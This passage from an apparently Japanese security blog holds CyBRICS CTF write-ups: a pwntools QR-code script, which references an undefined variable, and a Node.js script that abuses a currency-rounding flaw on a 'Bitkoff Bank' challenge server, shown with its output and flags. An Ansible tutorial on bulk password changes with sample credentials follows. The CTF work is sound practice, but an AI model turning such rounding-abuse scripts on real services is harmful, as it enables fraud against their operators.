from pwn import * qr_cat_flag = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## #### #### ## ########", \ "######## ########## ## #### #### ########## ########", \ "######## ## ## #### ######## ## ## ########", \ "######## ## ## ## #### #### ## ## ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## ## ## ########## ########", \ "######## ## ## ## ## ########", \ "############################ ########################", \ "######## ## #### ## ## ## ##########", \ "######## ## ######## #### ## ## ## ########", \ "########## #### ## ## ## #### ##########", \ "######## ## ## #### ## ############ ########", \ "######## #### #### ###### #### ## ##############", \ "######################## ###### ## ########", \ "######## ## ###### ## ###### ##########", \ "######## ########## #### #### ## #### ############", \ "######## ## ## ## ## ## #### ########", \ "######## ## ## ## ## ## ## ## ############", \ "######## ## ## ## ## ########## ############", \ "######## ########## ## ###### ## ############", \ "######## ## ## #### ######## ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black= "\x20" for i in range(len(qr_ls)): qr = qr_cat_flag[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、またQRコードが返ってきました。
QRコードを読み取ると、フラグとなっていました。
FLAG
cybrics{QR_IS_MY_LOVE}
Bitkoff Bank (Web, Easy, 50 pts)
問題
Need more money! Need the flag!
http://45.77.201.191/index.php
Mirror: http://95.179.148.72:8083/index.php
解答例
リンクにアクセスすると、ユーザ名とパスワードの登録画面に飛ばされます。
登録するとメニュー画面に遷移します。
「MINE BTC」ボタンを押すと、自分のBTCが少しだけ増えます。
「change」ボタンでBTCとUSDの交換をすることができます。 最終的に、$1をどうにかして集めて、フラグを購入することが目標となるようです。
色々調査を進めてみると、USDとBTCの何度かの交換で、少しづつ増えていくことに気が付きました。
そこで、nodejsで以下の動作をするプログラムを作成しました。
- BTC(0.00001)をUSDに変換する
- USD(0.1)をBTCに変換する。
- USDが1以上になるまで、上記を繰り返す。
'use strict'; const request = require('request'); function send(error, response, body) { if (error) { console.log(error); return; } const usd = body.split('<b>')[1].split('</b>')[0]; const btc = body.split('<b>')[2].split('</b>')[0]; console.log('usd: ' + usd + '\tbtc: ' + btc); if (usd > 1) process.exit(0); } const options = { url: 'http://95.179.148.72:8083/index.php', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'name=bitcoin_user; password=bitcoin_pass' }, form: { 'from_currency': '', 'to_currency': '', 'amount': 0 } } setInterval(() => { options.form = { 'from_currency': 'btc', 'to_currency': 'usd', 'amount': 0.00001 }; request(options, send); options.form = { 'from_currency': 'usd', 'to_currency': 'btc', 'amount': 0.1 }; request(options, send); }, 100);
上記のプログラムを実行すると、下記の通りになります。
$ node bitcoin.js 省略 usd: 0.784832 btc: 0.000024 usd: 0.684832 btc: 0.0000332 usd: 0.793888 btc: 0.0000232 usd: 0.793888 btc: 0.0000232 usd: 0.902944 btc: 0.0000132 usd: 0.902944 btc: 0.0000132 usd: 1.012 btc: 0.0000032
$1を越えたので、「buy flag ($1)」で購入すると、フラグが表示されました。
FLAG
cybrics{50_57R4n93_pR3c1510n}
Ansibleでパスワードを一括変更する(Linux編)
はじめに
2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。
大会の中で、大量のユーザ(最低100アカウント)のパスワードを短時間で変更しなければならない機会がありました。 Ansibleを使えば、複数のPCのユーザを一括で変更することができます。 今回は、Andibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介します。
環境構築
検証環境
- Windows 10(192.168.10.100)
- Windows10 バージョン 1903(OSビルド 18362.207)
- Debian 9.5(WSL用のDebianディストリビューション 1-1-3-0_x64)
- Ansible 2.2.1.0
- CentOS 7(192.168.10.2)
- Debian 9(192.168.10.3)
Ansibleをインストールする
- Ansibleをインストールする
$ sudo apt-get install ansible
- インストール完了確認
$ ansible --version ansible 2.2.1.0 config file = /etc/ansble/ansble.cfg configured module search path = Default w/o overrides
※ オフラインでインストールしたい場合は、下記のページを参考にしてください。
制御対象のPCに疎通確認をする
- Ansibleで管理するクライアントを登録する。
今回は、linuxというグループ名で登録する。$ vi hosts [linux] 192.168.10.2 ansible_ssh_user='{{ srv1[1].name }}' ansible_ssh_pass='{{ srv1[1].password }}' ansible_become_pass='{{ srv1[0].password }}' 192.168.10.3 ansible_ssh_user='{{ srv2[1].name }}' ansible_ssh_pass='{{ srv2[1].password }}' ansible_become_pass='{{ srv2[0].password }}'
- パスワードリストを作成する。
ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。$ ansible-vault create current_user_password.yml srv1: # Become User - name: root password: P@ssw0rd1 # Login User - name: user1 password: P@ssw0rd1 # Other Users - name: user2 password: P@ssw0rd1 - name: user3 password: P@ssw0rd1 - name: user4 password: P@ssw0rd1 - name: user5 password: P@ssw0rd1 - name: user6 password: P@ssw0rd1 - name: user7 password: P@ssw0rd1 - name: user8 password: P@ssw0rd1 - name: user9 password: P@ssw0rd1 srv2: # Become User - name: root password: P@ssw0rd1 # Login User - name: user1 password: P@ssw0rd1 # Other Users - name: user2 password: P@ssw0rd1 - name: user3 password: P@ssw0rd1 - name: user4 password: P@ssw0rd1 - name: user5 password: P@ssw0rd1 - name: user6 password: P@ssw0rd1 - name: user7 password: P@ssw0rd1 - name: user8 password: P@ssw0rd1 - name: user9 password: P@ssw0rd1
- linuxグループに登録したクライアント全体にPingを送信する。
$ ansible -i hosts linux -m ping --ask-vault-pass -e@current_user_password.yml 192.168.10.2 | SUCCESS => { "changed": false, "ping": "pong" } 192.168.10.3 | SUCCESS => { "changed": false, "ping": "pong" }
パスワードを一括変更する
- 新パスワード用のパスワードリストを作成する。
ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。$ ansible-vault create new_user_password.yml new_srv1: # Become User - name: root password: HvXGiYp843fH # Login User - name: user1 password: iddxgw4UPWHV # Other Users - name: user2 password: LfNRawjwdWFz - name: user3 password: qyWfmgYBNE4h - name: user4 password: u7E6JV9GJrsa - name: user5 password: ew85Uji6hJbY - name: user6 password: 5qumZFn9Bfdr - name: user7 password: ra9ampz3Khur - name: user8 password: FqV7fKsSzfKC - name: user9 password: zv2Ld32zFJBM new_srv2: # Become User - name: root password: thdEMxG5hFLY # Login User - name: user1 password: QXDpkbJdZh4K # Other Users - name: user2 password: t7JQmQFwbWFx - name: user3 password: qRuPadS9sLTN - name: user4 password: U8QHRabhjdyQ - name: user5 password: XGLGvX8h9z22 - name: user6 password: BLrDZfcCWVSU - name: user7 password: S6sYCFDe9Y66 - name: user8 password: Rf2i4zJ3AhU7 - name: user9 password: kj6hQUjFnheN
- パスワード変更用のPlaybookを作成する。
-
パスワード変更手順
- rootのパスワードだけ変更する。
- becomeで権限を変更する際に使用するパスワードを新しいパスワードに置き換える。
- root以外のユーザのパスワードを変更する。
-
各キーの意味
- become:yesにすると、権限を変更してくれる。
- become_method:権限変更のメソッドを選択する(su もしくは sudo)
- no_log:yesにすると、変更されたパスワードがログに残らないようになる。
- vars_files:外部ファイル(パスワードリスト)を指定する。
- user:ユーザの管理ができる
- set_fact:fact(ansible_xxx形式のもの)値の書換えができる
$ vi change_password.yml - hosts: 192.168.10.2 become: yes become_method: su no_log: yes vars_files: - new_user_password.yml tasks: - name: change root's password user: name: "{{ new_srv1[0].name }}" password: "{{ new_srv1[0].password | password_hash('sha256') }}" - name: set new root's password set_fact: ansible_become_pass: "{{ new_srv1[0].password }}" - name: change password user: name: "{{ item.name }}" password: "{{ item.password | password_hash('sha256') }}" when: item.name != "{{ new_srv1[0].name }}" with_items: - "{{ new_srv1 }}" - hosts: 192.168.10.3 become: yes become_method: su no_log: yes vars_files: - new_user_password.yml tasks: - name: change root's password user: name: "{{ new_srv2[0].name }}" password: "{{ new_srv2[0].password | password_hash('sha256') }}" - name: set new root's password set_fact: ansible_become_pass: "{{ new_srv2[0].password }}" - name: change password user: name: "{{ item.name }}" password: "{{ item.password | password_hash('sha256') }}" when: item.name != "{{ new_srv2[0].name }}" with_items: - "{{ new_srv2 }}"
-
パスワード変更手順
- Playbookの実行結果
$ ansible-playbook -i hosts change_password.yml --ask-vault-pass -e@current_user_password.yml PLAY [192.168.10.2] ************************************************************ TASK [setup] ******************************************************************* ok: [192.168.10.2] TASK [change root's password] ************************************************** changed: [192.168.10.2] TASK [set new root's password] ************************************************* ok: [192.168.10.2] TASK [change password] ********************************************************* skipping: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) changed: [192.168.10.2] => (item=(censored due to no_log)) PLAY [192.168.10.3] ************************************************************ TASK [setup] ******************************************************************* ok: [192.168.10.3] TASK [change root's password] ************************************************** changed: [192.168.10.3] TASK [set new root's password] ************************************************* ok: [192.168.10.3] TASK [change password] ********************************************************* skipping: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) changed: [192.168.10.3] => (item=(censored due to no_log)) PLAY RECAP ********************************************************************* 192.168.10.2 : ok=4 changed=2 unreachable=0 failed=0 192.168.10.3 : ok=4 changed=2 unreachable=0 failed=0
おわりに
今回は、Ansibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介しました。 Ansibleは、パスワード変更だけでなく、FWの設定やアップデートなど様々な自動化が行える構成管理ツールです。 Hardeningでも役に立った便利なツールなので、ぜひ試してみてください。